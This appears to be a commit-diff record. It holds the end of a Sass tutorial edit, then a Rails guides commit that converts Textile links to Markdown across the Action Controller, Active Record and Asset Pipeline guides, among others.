<del>.nav-bar{
<del> background-color: green;
<del>}
<del>.nav-bar ul{
<del> list-style : none;
<add>
<add>In plain CSS, you have to write
<add>```css
<add>.parent {
<add> background: #e3e3e3;
<add> border: 1px solid #c1c3c1;
<ide> }
<del>.nav-bar ul li{
<del> display: inline-block;
<add>.parent h1 {
<add> color: #333;
<ide> }
<del>
<ide> ```
<del>So the above code in Sass code will be:
<add>
<add>to style the *parent* element and the heading inside of the *parent* element. But in Sass, you can nest one selector inside of the other:
<add>```css
<add>.parent {
<add> background: #e3e3e3;
<add> border: 1px solid #c1c3c1;
<add> h1 { //nested inside .parent element
<add> color: #333;
<add> }
<add>}
<ide> ```
<del>.nav-bar{
<del> background-color:green;
<del> ul{
<del> list-style: none;
<del> li{
<del> display: inline-block;
<del> }
<del> }
<add>
<add>which will compile as:
<add>```css
<add>.parent {
<add> background: #e3e3e3;
<add> border: 1px solid #c1c3c1;
<add>}
<add>.parent h1 {
<add> color: #333;
<ide> }
<ide> ```
<ide>
<ide> ## MIXINS
<del>
<ide> Mixins are like functions for CSS.
<add>
<ide> Example:
<del>```
<del>@mixin box-shadow($x,$y,$blur,$c){
<add>```css
<add>@mixin box-shadow($x,$y,$blur,$c) {
<ide> -webkit-box-shadow: $x,$y,$blur,$c;
<ide> -moz-box-shadow: $x,$y,$blur,$c;
<ide> -ms-box-shadow: $x,$y,$blur,$c;
<ide> box-shadow: $x,$y,$blur,$c;
<ide> }
<del>.mydiv{
<add>
<add>.mydiv {
<ide> @include box-shadow(0px,0px,5px,#fff);
<ide> }
<del>
<ide> ```
<del>#### More Information
<del>[Official Sass website](https://sass-lang.com/)
<add>
<add>## Additional Resources
<add>- [Official Sass website](https://sass-lang.com/)
| 1
|
Text
|
Text
|
convert all the links into markdown format
|
9873dd800b77105fe17f583f0d036240ef334826
|
<ide><path>guides/source/action_controller_overview.md
<ide> What Does a Controller Do?
<ide>
<ide> Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
<ide>
<del>For most conventional "RESTful":http://en.wikipedia.org/wiki/Representational_state_transfer applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
<add>For most conventional [RESTful](http://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
<ide>
<ide> A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
<ide>
<del>NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html.
<add>NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html).
<ide>
<ide> Methods and Actions
<ide> -------------------
<ide> def new
<ide> end
<ide> ```
<ide>
<del>The "Layouts & Rendering Guide":layouts_and_rendering.html explains this in more detail.
<add>The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail.
<ide>
<ide> `ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
<ide>
<ide> And assume that you're sending the data to `CompaniesController`, it would then
<ide> { :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }}
<ide> ```
<ide>
<del>You can customize the name of the key or specific parameters you want to wrap by consulting the "API documentation":http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html
<add>You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
<ide>
<ide> ### Routing Parameters
<ide>
<ide> The CookieStore can store around 4kB of data -- much less than the others -- but
<ide>
<ide> If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
<ide>
<del>Read more about session storage in the "Security Guide":security.html.
<add>Read more about session storage in the [Security Guide](security.html).
<ide>
<ide> If you need a different session storage mechanism, you can change it in the `config/initializers/session_store.rb` file:
<ide>
<ide> To reset the entire session, use `reset_session`.
<ide>
<ide> The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc.
<ide>
<del>It is accessed in much the same way as the session, as a hash (it's a "FlashHash":http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html instance).
<add>It is accessed in much the same way as the session, as a hash (it's a [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html) instance).
<ide>
<ide> Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
<ide>
<ide> You will see how the token gets added as a hidden field:
<ide> </form>
<ide> ```
<ide>
<del>Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
<add>Rails adds this token to every form that's generated using the [form helpers](form_helpers.html), so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
<ide>
<ide> The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
<ide>
<del>The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
<add>The [Security Guide](security.html) has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
<ide>
<ide> The Request and Response Objects
<ide> --------------------------------
<ide> In every controller there are two accessor methods pointing to the request and t
<ide>
<ide> ### The `request` Object
<ide>
<del>The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionDispatch/Request.html. Among the properties that you can access on this object are:
<add>The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Request.html). Among the properties that you can access on this object are:
<ide>
<ide> |_.Property of `request`|_.Purpose|
<ide> |host|The hostname used for this request.|
<ide> class ClientsController < ApplicationController
<ide> end
<ide> ```
<ide>
<del>NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
<add>NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information.
<ide>
<ide> Force HTTPS protocol
<ide> --------------------
<ide><path>guides/source/action_view_overview.md
<ide> The complete HTML returned to the client is composed of a combination of this ER
<ide> Using Action View outside of Rails
<ide> ----------------------------------
<ide>
<del>Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small "Rack":http://rack.rubyforge.org/ application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
<add>Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
<ide>
<ide> Let's start by ensuring that you have the Action Pack and Rack gems installed:
<ide>
<ide> TODO needs a screenshot? I have one - not sure where to put it.
<ide>
<ide> Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method.
<ide>
<del>Action View can also be used with "Sinatra":http://www.sinatrarb.com/ in the same way.
<add>Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way.
<ide>
<ide> Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
<ide>
<ide> The following is only a brief overview summary of the helpers available in Actio
<ide>
<ide> ### ActiveRecordHelper
<ide>
<del>The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the "Rails Form helpers guide":form_helpers.html.
<add>The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the [Rails Form helpers guide](form_helpers.html).
<ide>
<ide> #### error_message_on
<ide>
<ide> end
<ide>
<ide> Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users.
<ide>
<del>You can read more about the Rails Internationalization (I18n) API "here":i18n.html.
<add>You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
<ide><path>guides/source/active_record_basics.md
<ide> This guide is an introduction to Active Record. After reading this guide we hope
<ide> What is Active Record?
<ide> ----------------------
<ide>
<del>Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
<add>Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
<ide>
<ide> ### The Active Record Pattern
<ide>
<ide> By default, Active Record uses some naming conventions to find out how the mappi
<ide> Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.
<ide>
<ide> * *Foreign keys* - These fields should be named following the pattern `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the fields that Active Record will look for when you create associations between your models.
<del>* *Primary keys* - By default, Active Record will use an integer column named `id` as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created.
<add>* *Primary keys* - By default, Active Record will use an integer column named `id` as the table's primary key. When using [Rails Migrations](migrations.html) to create your tables, this column will be automatically created.
<ide>
<ide> There are also some optional column names that will create additional features to Active Record instances:
<ide>
<ide> * `created_at` - Automatically gets set to the current date and time when the record is first created.
<ide> * `created_on` - Automatically gets set to the current date when the record is first created.
<ide> * `updated_at` - Automatically gets set to the current date and time whenever the record is updated.
<ide> * `updated_on` - Automatically gets set to the current date whenever the record is updated.
<del>* `lock_version` - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model.
<del>* `type` - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html
<add>* `lock_version` - Adds [optimistic locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a model.
<add>* `type` - Specifies that the model uses [Single Table Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html)
<ide> * `(table_name)_count` - Used to cache the number of belonging objects on associations. For example, a `comments_count` column in a `Post` class that has many instances of `Comment` will cache the number of existent comments for each post.
<ide>
<ide> NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
<ide> Active Record provides a rich API for accessing data within a database. Below ar
<ide> users = User.where(:name => 'David', :occupation => 'Code Artist').order('created_at DESC')
<ide> ```
<ide>
<del>You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide.
<add>You can learn more about querying an Active Record model in the [Active Record Query Interface](active_record_querying.html) guide.
<ide>
<ide> ### Update
<ide>
<ide> Likewise, once retrieved an Active Record object can be destroyed which removes
<ide> Validations
<ide> -----------
<ide>
<del>Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview.
<add>Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the [Active Record Validations and Callbacks guide](active_record_validations_callbacks.html#validations-overview).
<ide>
<ide> Callbacks
<ide> ---------
<ide>
<del>Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#callbacks-overview.
<add>Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the [Active Record Validations and Callbacks guide](active_record_validations_callbacks.html#callbacks-overview).
<ide>
<ide> Migrations
<ide> ----------
<ide>
<del>Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html
<add>Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the [Active Record Migrations guide](migrations.html)
<ide><path>guides/source/active_record_querying.md
<ide> Client.where("orders_count = #{params[:orders]}")
<ide>
<ide> because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
<ide>
<del>TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
<add>TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
<ide>
<ide> #### Placeholder Conditions
<ide>
<ide> This will find all clients created yesterday by using a `BETWEEN` SQL statement:
<ide> SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
<ide> ```
<ide>
<del>This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
<add>This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions)
<ide>
<ide> #### Subset Conditions
<ide>
<ide> By default, `Model.find` selects all the fields from the result set using `selec
<ide>
<ide> To select only a subset of fields from the result set, you can specify the subset via the `select` method.
<ide>
<del>NOTE: If the `select` method is used, all the returning objects will be "read only":#readonly-objects.
<add>NOTE: If the `select` method is used, all the returning objects will be [read only](#readonly-objects).
<ide>
<ide> <br />
<ide>
<ide> SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id =
<ide>
<ide> WARNING: This method only works with `INNER JOIN`.
<ide>
<del>Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.
<add>Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.
<ide>
<ide> For example, consider the following `Category`, `Post`, `Comments` and `Guest` models:
<ide>
<ide> SELECT categories.* FROM categories
<ide>
<ide> ### Specifying Conditions on the Joined Tables
<ide>
<del>You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
<add>You can specify conditions on the joined tables using the regular [Array](array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provides a special syntax for specifying conditions for the joined tables:
<ide>
<ide> ```ruby
<ide> time_range = (Time.now.midnight - 1.day)..Time.now.midnight
<ide> This will find the category with id 1 and eager load all of the associated posts
<ide>
<ide> ### Specifying Conditions on Eager Loaded Associations
<ide>
<del>Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use "joins":#joining-tables instead.
<add>Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead.
<ide>
<ide> However if you must do this, you may use `where` as you would normally.
<ide>
<ide> SELECT count(DISTINCT clients.id) AS count_all FROM clients
<ide>
<ide> If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`.
<ide>
<del>For options, please see the parent section, "Calculations":#calculations.
<add>For options, please see the parent section, [Calculations](#calculations).
<ide>
<ide> ### Average
<ide>
<ide> Client.average("orders_count")
<ide>
<ide> This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
<ide>
<del>For options, please see the parent section, "Calculations":#calculations.
<add>For options, please see the parent section, [Calculations](#calculations).
<ide>
<ide> ### Minimum
<ide>
<ide> If you want to find the minimum value of a field in your table you can call the
<ide> Client.minimum("age")
<ide> ```
<ide>
<del>For options, please see the parent section, "Calculations":#calculations.
<add>For options, please see the parent section, [Calculations](#calculations).
<ide>
<ide> ### Maximum
<ide>
<ide> If you want to find the maximum value of a field in your table you can call the
<ide> Client.maximum("age")
<ide> ```
<ide>
<del>For options, please see the parent section, "Calculations":#calculations.
<add>For options, please see the parent section, [Calculations](#calculations).
<ide>
<ide> ### Sum
<ide>
<ide> If you want to find the sum of a field for all records in your table you can cal
<ide> Client.sum("orders_count")
<ide> ```
<ide>
<del>For options, please see the parent section, "Calculations":#calculations.
<add>For options, please see the parent section, [Calculations](#calculations).
<ide>
<ide> Running EXPLAIN
<ide> ---------------
<ide> Explicit calls to `ActiveRecord::Relation#explain` run.
<ide> Interpretation of the output of EXPLAIN is beyond the scope of this guide. The
<ide> following pointers may be helpful:
<ide>
<del>* SQLite3: "EXPLAIN QUERY PLAN":http://www.sqlite.org/eqp.html
<add>* SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html)
<ide>
<del>* MySQL: "EXPLAIN Output Format":http://dev.mysql.com/doc/refman/5.6/en/explain-output.html
<add>* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.6/en/explain-output.html)
<ide>
<del>* PostgreSQL: "Using EXPLAIN":http://www.postgresql.org/docs/current/static/using-explain.html
<add>* PostgreSQL: [Using EXPLAIN](http://www.postgresql.org/docs/current/static/using-explain.html)
<ide><path>guides/source/active_record_validations_callbacks.md
<ide> There are several ways to validate data before it is saved into your database, i
<ide>
<ide> * Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
<ide> * Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
<del>* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
<add>* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to [keep your controllers skinny](http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model), as it will make your application a pleasure to work with in the long run.
<ide> * Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.
<ide>
<ide> ### When Does Validation Happen?
<ide> end
<ide> >> Person.create.errors[:name].any? # => true
<ide> ```
<ide>
<del>We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
<add>We'll cover validation errors in greater depth in the [Working with Validation Errors](#working-with-validation-errors) section. For now, let's turn to the built-in validation helpers that Rails provides by default.
<ide>
<ide> Validation Helpers
<ide> ------------------
<ide> person.errors.size # => 0
<ide> Displaying Validation Errors in the View
<ide> ----------------------------------------
<ide>
<del>"DynamicForm":https://github.com/joelmoss/dynamic_form provides helpers to display the error messages of your models in your view templates.
<add>[DynamicForm](https://github.com/joelmoss/dynamic_form) provides helpers to display the error messages of your models in your view templates.
<ide>
<ide> You can install it as a gem by adding this line to your Gemfile:
<ide>
<ide> If you submit the form with empty fields, the result will be similar to the one
<ide>
<ide> !images/error_messages.png(Error messages)!
<ide>
<del>NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See "Customizing the Error Messages CSS":#customizing-error-messages-css.
<add>NOTE: The appearance of the generated HTML will be different from the one shown, unless you have used scaffolding. See [Customizing the Error Messages CSS](#customizing-error-messages-css).
<ide>
<ide> You can also use the `error_messages_for` helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result.
<ide>
<ide><path>guides/source/active_support_core_extensions.md
<ide> NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
<ide>
<ide> #### Module Attributes
<ide>
<del>The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check "Class Attributes":#class-attributes.
<add>The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes).
<ide>
<ide> For example, the dependencies mechanism uses them:
<ide>
<ide> Extensions to `String`
<ide>
<ide> #### Motivation
<ide>
<del>Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the Security guide":security.html#cross-site-scripting-xss for further information about the risks.
<add>Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the [Security guide](security.html#cross-site-scripting-xss) for further information about the risks.
<ide>
<ide> #### Safe Strings
<ide>
<ide><path>guides/source/ajax_on_rails.md
<ide> that gets returned, and the page is not reloaded.
<ide> Built-in Rails Helpers
<ide> ----------------------
<ide>
<del>Rails 4.0 ships with "jQuery":http://jquery.com as the default JavaScript library.
<add>Rails 4.0 ships with [jQuery](http://jquery.com) as the default JavaScript library.
<ide> The Gemfile contains `gem 'jquery-rails'` which provides the `jquery.js` and
<ide> `jquery_ujs.js` files via the asset pipeline.
<ide>
<ide><path>guides/source/api_documentation_guidelines.md
<ide> This guide documents the Ruby on Rails API documentation guidelines.
<ide> RDoc
<ide> ----
<ide>
<del>The Rails API documentation is generated with RDoc. Please consult the documentation for help with the "markup":http://rdoc.rubyforge.org/RDoc/Markup.html, and also take into account these "additional directives":http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html.
<add>The Rails API documentation is generated with RDoc. Please consult the documentation for help with the [markup](http://rdoc.rubyforge.org/RDoc/Markup.html), and also take into account these [additional directives](http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html).
<ide>
<ide> Wording
<ide> -------
<ide> Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite databa
<ide> English
<ide> -------
<ide>
<del>Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc.). See "a list of American and British English spelling differences here":http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences.
<add>Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
<ide>
<ide> Example Code
<ide> ------------
<ide>
<ide> Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas.
<ide>
<del>Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use "Rails coding conventions":contributing_to_ruby_on_rails.html#follow-the-coding-conventions.
<add>Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions).
<ide>
<ide> Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
<ide>
<ide><path>guides/source/asset_pipeline.md
<ide> The query string strategy has several disadvantages:
<ide> <ol>
<ide> <li>
<ide> <strong>Not all caches will reliably cache content where the filename only differs by query parameters</strong>.<br />
<del> "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
<add> [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
<ide> </li>
<ide> <li>
<ide> <strong>The file name can change between nodes in multi-server environments.</strong><br />
<ide> Fingerprinting is enabled by default for production and disabled for all other e
<ide>
<ide> More reading:
<ide>
<del>* "Optimize caching":http://code.google.com/speed/page-speed/docs/caching.html
<del>* "Revving Filenames: don’t use querystring":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/
<add>* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
<add>* [Revving Filenames: don’t use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
<ide>
<ide>
<ide> How to Use the Asset Pipeline
<ide> When you generate a scaffold or a controller, Rails also generates a JavaScript
<ide>
<ide> For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`.
<ide>
<del>NOTE: You must have an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
<add>NOTE: You must have an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes.
<ide>
<ide> ### Asset Organization
<ide>
<ide> In regular views you can access images in the `assets/images` directory like thi
<ide>
<ide> Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server.
<ide>
<del>Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide.
<add>Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide.
<ide>
<ide> Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines.
<ide>
<ide> Images can also be organized into subdirectories if required, and they can be ac
<ide> <%= image_tag "icons/rails.png" %>
<ide> ```
<ide>
<del>WARNING: If you're precompiling your assets (see "In Production":#in-production below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data.
<add>WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data.
<ide>
<ide> #### CSS and ERB
<ide>
<ide> The asset pipeline automatically evaluates ERB. This means that if you add an `e
<ide>
<ide> This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced.
<ide>
<del>If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the `asset_data_uri` helper.
<add>If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -- a method of embedding the image data directly into the CSS file -- you can use the `asset_data_uri` helper.
<ide>
<ide> ```
<ide> #logo { background: url(<%= asset_data_uri 'logo.png' %>) }
<ide> The directives that work in the JavaScript files also work in stylesheets (thoug
<ide>
<ide> In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected.
<ide>
<del>NOTE. If you want to use multiple Sass files, you should generally use the "Sass `@import` rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
<add>NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
<ide>
<ide> You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application.
<ide>
<ide> location ~ ^/assets/ {
<ide>
<ide> #### GZip compression
<ide>
<del>When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
<add>When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
<ide>
<ide> Nginx is able to do this automatically enabling `gzip_static`:
<ide>
